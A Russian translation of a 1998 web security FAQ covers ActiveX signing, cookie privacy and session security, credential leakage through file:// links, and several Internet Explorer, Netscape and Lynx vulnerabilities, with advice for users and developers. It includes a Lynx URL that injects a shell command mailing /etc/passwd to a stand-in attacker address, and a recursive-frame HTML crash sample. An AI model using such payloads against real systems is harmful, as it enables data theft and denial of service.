Модель безопасности ActiveX сильно отличается от того, что используется в апплетах Java. Java добивается безопасности ограничивая возможности программы выполнением только безопасных действий. Напротив, ActiveX не вводит ограничений на то, что может делать управляющий элемент. Вместо этого каждый управляющий элемент должен иметь цифровую "подпись" автора, распознаваемую системой "Authenticode". Подписи утверждаются доверенными "утверждающими организациями", такими, как VeriSign. Имея утвержденную подпись, разработчик обязуется не включать в свои программы вирусов и других вредных вещей. Если вы загрузили подписанный управляющий элемент ActiveX, и он порушил вашу машину, то вам известно, по крайней мере, кого в этом винить.

Эта модель полностью перекладывает ответственность за безопасность компьютероной системы на плечи пользователя. Перед загрузкой управляющего элемента, который не имеет подписи, или имеет подпись, но она подтверждена неизвестной организацией, браузер выводит предупреждение, что это действие может быть небезопасным. Пользователь может отказаться от загрузки документа, или рискнуть продолжить.

Процесс подтверждения гарантирует, что управляющий элемент ActiveX не может распространяться анонимно, и что в процесс его распространения не могут включиться посторонние. Однако, процесс не дает гарантии, что элемент будет вести себя правильно. Хотя и маловероятно, что подписанный и подтвержденный управляющий элемент будет производить вредные действия, но это возможно. Например, программист Fred McLain (mclain@halcyon.com) выпустил недавно управляющий элемент ActiveX под названием Exploder. Этот элемент, будучи полностью подписанным и подтвержденным, производит остановку любой машины под управлением Windows 95, которая его загружает. выключение происходит вскоре после того, как пользователь просматривает страницу, содержащую элемент Exploder (необходимо использовать Internet Explorer 3.0 или более поздний). Узнав о Exploder, Microsoft и Verisign совместно отозвали подтвержденную подпись Fred McLain, утверждая, что он нарушил соглашение, заключенное при выдаче удостоверения. Поэтому при использовании последних версий Internet Explorer вы увидите сообщение о том, что подпись недействительна.

Хотя Exploder не вызывает повреждения данных, могут появиться и менее безобидные управляющие элементы, форматирующие диски пользователя, или запускающие вирусов в его машину. На самом деле, ряд весьма вредных управляющих элементов ActiveX были созданы и распространены Chaos Computer Club (CCC) из Гамбурга, Германия. Они все не имеют подписи, что значит, что при обычной настройке Internet Explorer предупредит пользователя об опасности. Однако неосторожный пользователь, изменивший настройку Internet Explorer на "низкую безопасность" (Low Security), или согласившийся загрузить и выполнить управляющий элемент не смотря на предупреждение, подвергнется таким образом нападению.

Основная проблема в модели безопасности ActiveX состоит в том, что представляется трудным отследить управляющий элемент, совершающий нежелательные действия - например, спокойно передающий конфиденциальную информацию о конфигурации машины пользователя на удаленный сервер, или заражающий локальную сеть вирусом, или даже изменяющий Internet Explorer так, что его механизм проверки кода не будет правильно работать. Дейсвия такого рода могут быть либо совсем не замечены, либо оставаться незамеченными долгое время. Даже если повреждение замечено быстро, у Internet Explorer нет механизмов, позволяющих определить, какие контрольные элементы были загружены. Это делает весьма трудной задачу определения того, какой именно элемент ActiveX нанес вред вашей машине.

ActiveX можно выключить полностью через меню Internet Options->Security в Microsoft Internet Explorer. Для полного выключения ActiveX выберите "высокую степень защиты" (High Security), для получения предупреждения перед запуском управляющих элементов - "среднюю степень защиты" (Medium Security). Если вы решили запустить управляющий элемент, то внимательно изучите его и тщательно зафиксируйте на бумаге его имя, автора, дату и время загрузки. Не сохраняйте эту информацию на диске, поскольку его содержимое легко может быть уничтожено самим элементом. "Низкий уровень безопасности" (Low Security) позволяет запускать элементы ActiveX без предупреждения и независимо от наличия подписи и, таким образом, не рекомендуется к использованию.

IE 4.0 позволяет различать управляющие элементы в зависимости от того, получены они с сервера в Internet, сервера в локальной сети или с сервера из специального списка узлов, пользующихся или не пользующихся доверием.


В66: Превносят ли "Cookie" какой-либо риск?

В этом разделе Вы найдете объяснение того, что такое Cookie и какие проблемы безопасности могут быть с ними связаны.

Что такое cookie

"Cookie" ("печенье") - это механизм, разработанный Netscape Corporation для преодоления статической природы протокола HTTP. В нормальной ситуации каждый раз, когда браузер обращается за документом на сервер, запрос обрабатывается как совершенно новое соединение. Тот факт, что запролс может быть лишь одним из многих запросов, сделанных пользователем в ходе просмотра всего дерева документов на сервере, оказывается незафиксированным. Хотя это делает систему Web более эффективной, статическая природа протокола затрудняет реализацию таких вещей, как система учета покупок в магазине, которые требуют отслеживания истории действий клиента в течение продолжительного времени.

Cookie позволяют решить эту проблему. Cookie - это маленький кусочек информации, часто не более чем короткий номер соединения, который сервер посылает браузеру при первом контакте. В дальнейшем браузер посылает серверу копию cookie при каждом соединении. Обычно cookie используются сервером для идентификации пользователя и поддержания иллюзии сохранения соединения при просмотре многих страниц. Поскольку cookie не являются частью спецификации стандарта HTTP, они поддерживаются только некоторыми браузерами - в настоящее время - Internrt Explorer версии 3.0 и более поздние и Netscape Navigator 2.0 и более поздние. Сервер и/или скрипты CGI на нем также должны поддерживать cookie для возможности их использования.

Cookie имеют атрибуты, сообщающие браузеру, на какой сервер их следует отправлять. Атрибут "domain" говорит о том, какому серверу нужно передать cookie, а "path" - какому URL на этом сервере cookie соответствует. Например, значение "megacorp.com" в domain и "/users" в path говорят браузеру, что посылать cookie следует на серверы с именами вроде www.megacorp.com и ftp.megacorp.com и только в том случае, когда путь к файлу начинается с "/users". С точки зрения безопасности важно, что значение domain не может соответствовать домену высокого уровня, например ".com". Это предотвращает создание таких cookie, которые будут рассылаться любому серверу.

cookie и частная жизнь

Cookie не могут быть использованы с целью "воровства" информации о вас или вашей компьютерной системе. Они могут быть использованы только для сбора информации, которую вы сами тем или иным образом предоставляете. Для примера - если вы заполняете какую-нибудь форму ввода и указываете ваш любимый цвет, сервер может преобразовать эту информацию в cookie послать обратно вашему браузеру. При следующем соединении с сервером браузер вернет cookie, и сервер сможет установить фоновый цвет своих страниц в соответствии с вашими вкусами.

Однако, cookie могут быть использованы и менее безобидным образом. Каждое ваше обращение к серверу Web оставляет о вас нгекоторую информацию, создавая сеть данных о вас в Internet. Среди всех этих кусочков информации присутствуют такие данные, как IP адрес вашего компьютера, марка используемого вами браузера, используемая вами операционная система, адрес просматриваемой страницы и адрес той страницы, которую вы просматривали перед обращением. Без механизма cookie было бы практически невозможно систематически отслеживать эту информацию и изучать ваше поведение как пользователя Web. Для этого потребовалось бы сравнение тысяч файлов трассировки на множестве серверов WWW. С использованием cookie ситуация сильно меняется.

DoubleClick Network представляет собой систему, созданную фирмой DoubleClick Corporation для сбора данных о пользователях Web и предоставления им рекламных заставок, подобранных в соответствии с их вкусами. Основные клиенты DoubleClick - серверы Web, ищущие возможности рекламы своих услуг. Каждый член сети DoubleClick становится сервером, рекламирующим других членов системы. Становясь членом DoubleClick, узел WWW создает рекламные материалы для своих услуг и предоставляет их на сервер DoubleClick. Узел затем редактирует свои страницы HTML и добавляет элементы <IMG>, ссылающиеся на сервер DoubleClick. Когда пользователь открывает одну из иодифицированных страниц, его браузер обращается к серверу DoubleClick для получения картинки. Сервер выбирает картинку из тех, которые предоставлены членами сети, и передает ее на браузер. При повторной загрузке страницы появляется другая картинка. Если пользователь выбирает рекламную картинку, то он попадает на узел соответствующего клиента DoubleClick. В настоящее время эта система включает многие сотни членов.

С точки зрения пользователя, реклама DoubleClick ничем не отличается от любой другой рекламы в WWW, и картинка ничем не отличается от других картинок. Однако разница есть. При первом обращении к серверу DoubleClick браузер получает cookie с уникальным номером. С этого момента, при каждом обращении к серверу, входящему в сеть DoubleClick, браузер возвращает серверу DoubleClick cookie, позволяющий узнать пользователя. Через некоторое время сервер собирает список тех узлов, которые посещает пользователь, и создает записи, отражающие вкусы и привычки пользователя. Обладая этой информацией, сервер DoubleClick теперь выбирает те рекламы, которые с большей вероятностью могут представлять интерес для пользователя. Имеется возможность также собирать информацию, представляющую интерес для узлов - членов сети, такую, как оценка эффективности рекламы.

Хотя имена и адреса электронной почты не попадают в записи сервера DoubleClick, другая сохраняемая информация обычно достаточна для идентификации пользователя. Более подробно см. раздел Файлы трассировки и личная информация. По этой причине многим не нравится то, как DoubleClick использует cookie. Для определения того, были ли вы записаны на этом сервере, проверте файл cookie вашего браузера. В системах Unix, использующих Netscape, файл находится в вашем директории и имеет имя ~/.netscape/cookies. Если там есть строка вроде этой:

ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5
то у вас есть cookie от DoubleClick.

Пользователи Windows могут найти подобную информацию в файле cookies.txt, расположенном в директории C:\Programs\Netscape\Navigator, пользователи Macintosh могут посмотреть в системном каталоге под пунктом Preferences:Netscape. Пользователи Microsoft Internet Explorer должны обратиться к файлу C:\Windows\Cookies.

Текущие версии и Netscape Navigator, и Internet Explorer имеют возможность выводить предупреждение пользователю каждый раз, когда сервер посылает браузеру cookie. Если вы включили это предупреждение, то у вас будет возможность отказаться от приема cookie. вам придется также удалить все уже собранные cookie; для этого проще всего просто стереть файл, хранящий их.

Недостаток этой схемы заключается в том, что многие серверы будут упорно предлягать cookie при каждом новом соединении даже после того, как вы отказались от приема cookie первый раз, что очень быстро надоедает. Прежде чем паниковать по поводу cookie стоит вспомнить, что основная масса cookie предстьавляет собой попытки повысить ваш комфорт в WWW, а не нарушить ваши личные права. Netscape Navigator 4.0 предоставляет новую возможность - отказываться от приема cookie, принадлежащего не тому узлу, на котором находится главная просматриваемая вами страница. Это отсекает большинство схем, подобных DoubleClick. Для использования этой возможности выберите Edit->Preferences->Advanced и установите соответствующим образом переключатель в разделе cookies.

Некоторые пользователи могут иметь желание разрешить нерезидентные cookie (те, которые сохраняются только в течение текущего соединения) и запретить постоянные (хранящиеся между сеансами длительное время). В системах Unix для этого достаточно создать ссылку, связывающую устройство /dev/null и файл cookies. Пользователи других операционных систем могут быть вынуждены использовать для этого програмные продукты третих фирм, перехватывающие cookie. Вот список таких программ:

NSClean, IEClean
Windows 95/NT программы, стирающие содержимое файлов с cookie.
http://www.nsclean.com/

InterMute (Windows, Macintosh, Unix)
Анонимизирующий представитель (proxy), удаляющий cookie и другую идентифицирующую информацию из ваших обращений к URL. Запускается как аплет Java в браузере.

http://www.intermute.com/
Internet Junkbuster Proxy (Unix)
Анонимизирующий представитель (proxy), удаляющий cookie и другую идентифицирующую информацию из ваших обращений к URL.
http://internet.junkbuster.com/

cookie и безопасность системы

В дополнение к проблемам защиты частной жизни, cookie затрагивают и область защиты информации. Многие узлы используют cookie для реализации различных схем контроля доступа. Например, узел, на котором доступ контролируется по имени пользователя и паролю, может послать вам cookie при первом соединении. После этого сервер даст Вам доступ к защищенным страницам в том случае, если браузер может вернуть правильный cookie, используя их как билет для доступа. Это дает серверу ряд удобств, не последнее из которых - отсутствие необходимости поиска имени пользователя и пароля в базе данных при каждом обращении.

Однако, если такая система построена не вполне аккуратно, она может быть использована третьими лицами. Например, ваш cookie может быть перехвачен по пути от браузера к серверу и использован для получения несанкционированного доступа к данным. Поскольку браузер использует систему имен доменов (DNS) для идентификации сервера, существует возможность заставить браузер послать cookie на неправильный сервер, временно нарушив систему DNS. Конечно, если cookie долгоживущие, то их можно просто украсть с жесткого диска машины пользователя.

Теперь рассмотрим системы, использующие cookie в качестве идентификатора сессии для сохранения информации между соединениями при многоступенчатых транзакциях. Примерами таких систем могут быь системы доступа к корпоративным базам данных, системы заказа покупок по сети, банковские клиентские системы. Если не соблюдать осторожность, то злоумышленник может перехватить cookie и использовать их для осуществления несанкционированных действий.

Разработчики систем, использующих cookie, должны учитывать возможность их перехвата. Cookie всегда должны содержать как можно меньше информации частного характера. В частности, cookie никогда не должны содержать имен пользователей и паролей в открытой форме. В условиях ISP, когда на сервере расположено много пользователей, следует указывать как можно более подробное значение в path. Например, если программа, использующая cookie, расположена на URL http://bigISP.com/users/fred/orders.cgi, то разработчику следует установить значение path в /users/fred/orders.cgi, а не более общий путь /.

Если возможно, cookie должны содержать информацию, подтверждающую права пользователя на их использование. Популярная схема состоит во включении следующей информации:

  1. Идентификатор сессии
  2. дата и время выпуска cookie
  3. время "годности"
  4. IP адрес браузера, которому был выдан cookie
  5. код MAC (message authenticity check)
Ограничивая время жизни cookie, разработчик уменьшает размер потенциального ущерба, который может быть вызван cookie, возможность использования его после перехвата оказывается ограниченной во времени. Включение IP адреса позволит принимать cookie только в том случае, если адрес совпадает в адресом посылающего браузера. Использование ворованного cookie в этом случае затрудняется, поскольку замазывание IP адреса - трудная (хотя и не невозможная) задача.

Код MAC присутствует здесь для того, чтобыиметь уверенность в сохранности информации в cookie. Существует множество способов вычисления MAC, большинство из которых основано на алгоритмах вычисления однонаправленных хэш-функций, таких, как MD5 или SHA, с целью получения уникальных "отпечатков пальцев" для данных, содержащихся в cookie. Вот пример простой, но относительно надежной техники, использующей MD5:

MAC = MD5("идентификатор сессии" + "дата создания" +
          "срок годности" + "IP адрес" +
          "секретный ключ")
Данный алгоритм сперва производит объединение всех полей cookie в единую строку, после чего добавляет к ней секретный ключ, известный только серверу. Вся строка затем используется для вычисления хэш-функции. Полученное значение добавляется к данным, содержащимся в cookie. Позднее, когда cookie возвращается на сервер, сервер должен удостовериться, что срок годности не истек, и что cookie отправлены с корректного адреса IP. Затем необходимо вычислить MAC для полей данных и сравнить его с тем, который содержится в cookie. Если они совпадают, то шансы того, что cookie использован неправильно, оказываются достаточно низкими.

Другим способом может быть шифрование целого cookie с использованием алгоритма, подобного DES, IDEA или RC4. Для получения информации по алгоритмам шифрования и хэш-функциям, см. ссылки по криптографии в конце этого документа.

При разработке критических приложений может оказаться разумным полностью шифровать канал между сервером и браузером с использованием SSL. Cookie окажутся зашифрованными вместе со всей остальной информацией таким образом, что их перехват станет возможным только после взлома алгоритма шифрования. Для избежания ошибочной посылки cookie через нешифруемое соединение, разработчик должен выставить флаг "secure", чтобы браузер посылал cookie только в случаях, когда для соединения используется SSL.


В67: Может ли браузер Web выдать ваше имя и пароль в локальной сети?

Для пользователей Windows 95, WFWG и Windows NT ответ - да. Нехорошие серверы могут заставить Internet Explorer или Netscape Navigator выдать имя, которое вы использовали для входа в локальную сеть вашей организации. Можно заставить браузер выдать и ваш пароль в зашифрованной форме, который часто можно расшифровать путем "словарной атаки". Это большая проблема как для вас, так и для вашей организации, поскольку с того момента, как ваше имя и пароль стали известны, постороний хакер может использовать их для проникновения в вашу локальную сеть с целью украдывания или повреждения файлов. Конечно, это возможно только тогда, когда ваша локальная сеть не защищена от проникновения такого рода правильно настроенным брандмауэром.

Если злоумышленникам удается повредить систему в вашей организации, то повреждения будут выглядеть так, как будто они вызваны вами, и вам придется объясняться с ответственными людьми. Даже если вы не соединены с локальной сетью, вам есть о чем беспокоиться. Если в какой-то момент вы включили механизм сетевого доступа к файлам Windows, то ваши личные файлы могут быть украдены в те периоды времени, когда вы соединены с Internet через вашего провайдера.

Всего было найдено три схожих ошибки. Сообщение о первой было сделано Aaron Spanger 14 марта 1997 года, и она остается не исправленой до настоящего времени. Она присутствует в Internet Explorer версии 3.01 и более ранних (включая версии с исправлениями Microsoft) для Windows 95, Windows NT и Windows 97. Netscape Navigator 3.01 (как обычный, так и gold) и Netscape Communicator beta2 также имеют эту лазейку при работе под Windows NT и под некоторыми, но не всеми системами Windows 95 (результаты противоречивы). Подробное описание и демонстрацию ошибки можно найти по адресу:

http://www.ee.washington.edu/computing/iebug/

Вторая ошибка, найденая Paul Ashton по следам первой, затрагивает IE (версия 3.01 и ниже), выполняемый под Windows NT 3.51/4.0 (как сервер, так и рабочая станция). Ее описание доступно по адресу:

http://www.efsl.com/security/ntie/

Следующая ошибка, описанная 17 марта 1997 года Steve Birnbaum, затрагивает Microsoft Internet Explorer (версии 3.01 и более ранние) при работе под Windows 95. Описание см. на

http://www.security.org.il/msnetbreak/

Все эти ошибки затрагивают механизм проверки пользователя "вызов/ответ" (challenge/responce), используемый Microsoft для доступа к файлам. Вот несколько упрощенное описание. Когда клиент пытается связаться с сервером (будь то сервер печати, сервер www или файловый сервер), сервер посылает клиенту короткую случайную строку - "nonce". Клиент кодирует строку с использованием пользовательского пароля и посылает обратно на сервер кодированную строку, имя пользователя и другую идентификационную информацию. Сервер проверяет наличие имени пользователя в своей собственной базе данных пользователей, находит там пароль пользователя и кодирует строку nonce с использованием этого пароля. Результат кодирования сравнивается с тем, что получено от клиента, и если они совпадают, то сервер убеждается в том, что пользователь знает пароль, избегая при этом передачи пароля по сети. Заметте, что при этом шифруемая информация не является тайной, а пароль используется как ключ для шифровки.

Если браузер IE или Netscape встречает URL вида

file://\\aa.bb.cc.ddd\путь\к\файлу
(где "aa.bb.cc.dd" - адрес удаленного сервера в Internet), то он пытается получить доступ к файлу так, как если бы этот файл находился на машине в локальной сети, и пытается идентифицировать себя через механизм "вызов/ответ". Все это происходит без оповещения пользователя.

При атаке с целью выяснения пароля, сервер работает под управлением специально модифицированной версии файлового сервера Windows, которая использует вместо случайной строки вызова постоянную. Ваш компьютер доверчиво шифрует строку вашим паролем и посылает ее обратно. Сервер теперь спокойно может сравнить присланную строку с базой данных, содержащей десятки тысяч вариантов шифрования этой строки с использованием различных паролей. Если совпадение найдено, то ваш пароль оказывается раскрытым (это называется "словарная атака"). Поскольку многие люди выбирают легко запоминающиеся пароли, средний пароль часто может быть взломан посредством хорошей словарной атаки. Даже если ваш пароль остается не найденым, сервер получит о вас много полезной информации - имя компьютера, имя пользователя, имя домена Windows. Поскольку исходные тексты программ Unix, рефлизующих механизм доступа к файлам Windows, легко доступны, то задача создания модифицированного сервера не представляет больших трудностей.

В случае лазейки, найденой Steve Birnbaum, пароль оказывается даже не зашифрованным, а передается на сервер в текстовом виде. Происходит это потому, что Windows 95 используют менее сложную систему верификации пользователя.

Как вы можете узнать, что ваш пароль был украден таким образом? А никак. "Вредный" адрес может быть замаскирован как обычное изображение. Если вы не будете смотреть исходный текст документа на HTML, то вы не отличите картинку от любой другой картинки в Web. Пользователи, использующие другие операционные системы, увидят изображение "поврежденной картинки" - нечто, что редко вызывает подозрения.

Что можно сделать, чтобы избежать этой проблемы? Мало что можно сделать до того, как Microsoft и Netscape исправят ошибки в программах. Наилучший способ - выбор хорошего пароля. Выбирайте длинные пароли, которые трудно угадать. Один из подходов состоит в том, чтобы выбрать фразу, имеющую смысл для вас, но не для других, например:

blue wire chair too cold in AM (синий проволочный стул слишком холоден утром)
Теперь возьмите первые (или третьи, или последние) буквы каждого слова для составления пароля - bwctciA. Не передавайте этот пароль никому и используйте его только для входа в локальную сеть.

В68: Известны ли какие-либо проблемы в Microsoft Internet Explorer?

Существует множество лазеек в Internet Explorer, связанных с подсистемами JavaScript, Java и ActiveX. Этих рисков можно избежать, выключив соответствующие функции в настройках программы. В этом разделе обсуждаются проблемы, относящиеся к ядру программы и не имеющие такого простого решения.

Ошибки переполнения буферов, версии 4.0, 4.01

Microsoft Internet Explorer 4.0 и 4.01 (версии для систем Windows 95, Windows NT, Macintosh и Unix) содержит ряд проблем в коде обработки определенных выражений HTML. Опытный разработчик может вызвать сбои программы при обращении к определенным страницам или при просмотре изображений. Конкретно - проблема состоит в резервировании фиксированной области памяти, называемой буфером, для хранения URL или других элементов HTML. При обработке элемента, имеющего размер больший, чем размер отведенного для его хранения буфера, происходит переполнение буфера и программа вызывает системную ошибку. Это - наиболее обычная ошибка программирования, она является причиной многих известных проблем в скриптах CGI и серверах Web. Подробнее - см. безопасное программирование CGI.

Ошибка многократно возрождалась начиная с января года 1998. Первая инкарнация, названная ошибкой "mk", использует URL типа "mk:", запускающие систему помощи (help) Microsoft. Ошибка была исправлена, однако вскоре появился новый вариант. Затем, в апреле 1998 года, была найдена ошибка в части обработки элемента <EMBED> .

Ошибки такого рода могут приводить к серьезным последствиям. Они могут быть использованы для выполнения произвольного программного кода на Вашем компьютере без Вашего ведома. Проограмма может делать все - устанавливать вирусы, разрушать Ваши файлы, изменять браузер для открытия других путей проникновения в систему. Ошибка не зависит от повышения уровня безопасности или выключения активных документов. К счастью, исправления для всех известных к настоящему времени лазеек можно получить на сервере Microsoft, URL http://www.microsoft.com/security/. Если вы используете любую версию Internet Explorer по 4.01, вам необходимо получить исправления и установить их. Другой вариант действий - вернуться к версии Internet Explorer 3.02, которая использовалась дольше и в которой не было найдено столь серьезных лазеек.

Подробную информацию об ошибках можно получить по адресу

http://l0pht.com/advisories/

Ошибка рекурсивных рамок, версии 4.0-4.01 (апрель 1998)

Microsoft Internet Explorer некорректно определяет и обрабатывает "рекурсивные" рамки (frames). Для объяснения того, что это такое, рассмотрим файл HTML имеющий имя recursive.htm. Файл содержит код, подобный такому:
<HTML>
<FRAMESET COLS="*,*">
   <FRAME SRC="recursive.htm">
   <FRAME SRC="recursive.htm">
</FRAMESET>
</HTML>
Страница содержит два прилежащих окна, каждое из которых ссылается на тот же самый документ. Когда Internet Explorer обнаруживает подобный документ, он пытается загрузить файл в каждую из рамок. Затем он создает по две новых рамки в каждой предыдущей, и так до бесконечности, вернее - пока хватает памяти, после чего происходит системный сбой.

Эта ошибка может быть использована для вызова сбоев, но не нарушает безопасности в других областях. Сообщалось о том, что некоторые версии Netscape Navigator также содержат эту ошибку, однако версии 4.0X, судя по всему, ее не содержат.

"Ошибка ярлыков" (Shortcut Bug), версии 3.01 и более ранние

Наряду с лазейкой для пароля локальной сети, версии 3.01 и более ранние программы Microsoft Internet Explorer содержат серьезную ошибку, позволяющую инициировать выполнение произвольной команды на вашем компьютере. Может быть сделано все, что угодно, вплоть до и включая уничтожение содержимого вашего жесткого диска. вам надо просто выбрать ссылку на соответствующий документ. Печально, что эта лазейка может быть использована людьми, не имеющими особого опыта в программировании.

Проблема вытекает из "возможности", встроенной в IE. Файлы ярлыков (shortcut) обычно создаются пользователями для быстрого доступа к файлам на локальных дисках. Если ярлык помещен на сервер Web и получен через Internet, то выбор ссылки на ярлык приводит к неожиданному эффекту - файл, если он есть, открывается на машине пользователя. Если файл является выполнимой программой, такой как редактор регистра Windows, или интерпретатор команд DOS, то результатом может быть запуск потенциально опасной программы на машине пользователя без его информирования. Злоумышленник может также создать командный (.bat) файл, сохранить его в буфере браузера ничего не подозревающего пользователя, и затем запустить этот файл на выполнение.

Лазейка присутствует как в Windows 95, так и в Windows NT, и присутствует даже в том случае, если вы выбираете наивысший уровень безопасности. Лазейка не имеет отношения к ActiveX или Java. Кроме ссылок в документах HTML, лазейка затрагивает ссылки, включенные в статьях в телеконференциях и сообщения e-mail.

Лазейка была найдена Paul Greene и изучена с помощью Geoffrey Elliot и Brian Morin. Детали (включая впечатляющие примеры) можно найти на сервере: http://www.cybersnot.com/iebug.html.

Если вы используете IE 3.01 или более ранних версий, то вам настоятельно рекомендуется применить исправления, выпущенные Microsoft Corporation и доступные на их сервере: http://www.microsoft.com/ie/security/update.htm. После применения убедитесь, что ваша копия была корректно исправлена, выбрав пункт "About Internet Explorer" (о программе) из меню Help (помощь). Версия вашей программы должна быть указана как 3.01b. Исправленная версия будет предупреждать вас перед открытием файла через ярлык. В общем случае стоит отказываться от открытия ярлыка, полученного через Internet.

Вот простой тест для проверки того, используете ли вы исправленную версию IE. Попробуйте выбрать ссылку, приведенную ниже. Если вы получите предупреждение о том, что вы пытаетесь запустить двоичный файл, и предложение выбора между "открыть" (open) и "сохранить" (save) его, то у вас исправленная версия браузера. Если появляется окно текстового редактора notepad (блокнот), то у вас есть проблемы.

file:///C:/WINDOWS/NOTEPAD.EXE

Начиная с 14 марта 1997г., исправления Microsoft касаются также и ссылок, заключенных в сообщения электронной почты и телеконференций. Первая версия исправлений не затрагивала этой проблемы.

В качестве комментария - план Microsoft скрыть различия между Internet и рабочим столом имеет обратную сторону. В ситуации, когда трудно различить непроверенные программы, полученные "откуда-то там", и те, что лежат на локальном диске, пользователь может легко совершать ошибки, подвергающие его машину всевозможным нападениям. По мнению автора эта стратегия - из тех, что связаны с большим риском.

Список вопросов и ответов по безопасности в Internet Explorer формируется по адресу:

http://www.nwnetworks.com/iesf.html
Обращайтесь туда за получением дальнейшей информации по проблемам безопасности в IE.

В69: Известны ли проблемы в Netscape Communicator/Navigator?

Существует множество лазеек в браузерах Netscape, связанных с подсистемами JavaScript, Java и ActiveX. Этих рисков можно избежать, выключив соответствующие функции в настройках программы. В этом разделе обсуждаются проблемы, относящиеся к ядру программы и не имеющие такого простого решения.

Ошибки переполнения буферов (апрель 1998)

На волне находок ошибок переполнения буферов в Internet Explorer, люди стали искать подобные ошибки в продуктах Netscape. Не приходится удивляться тому, что поиски оказались успешными.

Единственная известная в настоящее время ошибка затрагивает файл закладок (bookmarks). Netscape Communicator резервирует буфер фиксированного размера для хранения названия заложенной страницы. Если Вы добавляете к закладкам страницу с необычно длинным заголовком, то браузер вызовет ошибку при следующем обращении к закладке. Подобно ошибкам в Internrt Explorer, эта лазейка может быть использована для выполнения произвольного кода на вашей машине.

В настоящее время неизвестно, какие версии затронуты этой ошибкой. Версии 4.03 и 4.04 для Windows 95 и NT точно ее содержат. Статус версий для Macintosh и Unix остается невыясненным. В настоящее время исправлений для ошибки нет (13 апреля 1998). Ошибки можно избежать внимательной проверкой страниц перед их добавлением к закладкам. Следует проявлять осторожность в случаях, если страница имеет очень длинный заголовок, или заголовок содержит странные символы.


В70: Известны ли проблемы в Lynx для Unix?

Версии Lynx до 2.7.1 включительно содержат очень опасную лазейку, позволяющую авторам Web выполнять произвольные системные команды на машине пользователя, просто указывая LYNXDOWNLOAD URL, содержащие обратные кавычки. Для примера, выбор следующего URL приведет к передаче файла паролей по электронной почте:
<
a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test">
НАЖМИТЕ ЗДЕСЬ
</a>
Это есть пример отсутствия проверки вводимой пользователем информации на присутствие метасимволов командного процессора, проблемы, годами мучающей разработчиков CGI.

Обновите Вашу версию Lynx как можно скорее.
^ Наверх, к Содержание
<< Назад, к История сервера и частная жизнь
Forward to Specific Servers >>


Lincoln D. Stein (lstein@w3.org)
WWW Consortium

Перевод - Дмитрий Громов

Last modified: Tue Jun 30 21:53:58 EDT 1998